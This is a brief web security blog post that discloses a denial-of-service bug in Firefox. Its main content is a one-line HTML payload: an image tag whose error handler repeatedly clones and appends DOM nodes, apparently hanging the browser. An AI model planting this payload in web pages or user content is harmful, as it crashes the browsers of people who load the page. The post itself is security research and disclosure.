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The Spanner
Web security blog

Made by Gareth Heyes
Follow me on Twitter: @garethheyes

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DOM DOS Firefox

By Gareth Heyes (@hackvertor)

Published 18 years 5 months ago • Last updated March 22, 2025 • ⏱️ < 1 min read

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Check this DOS in Firefox:-

<pre lang="html"> <img src="" onerror="appendChild(cloneNode(appendChild(cloneNode(1))))"> </pre>

There are many DOM related Firefox problems, this was one of the more interesting ones I found :)

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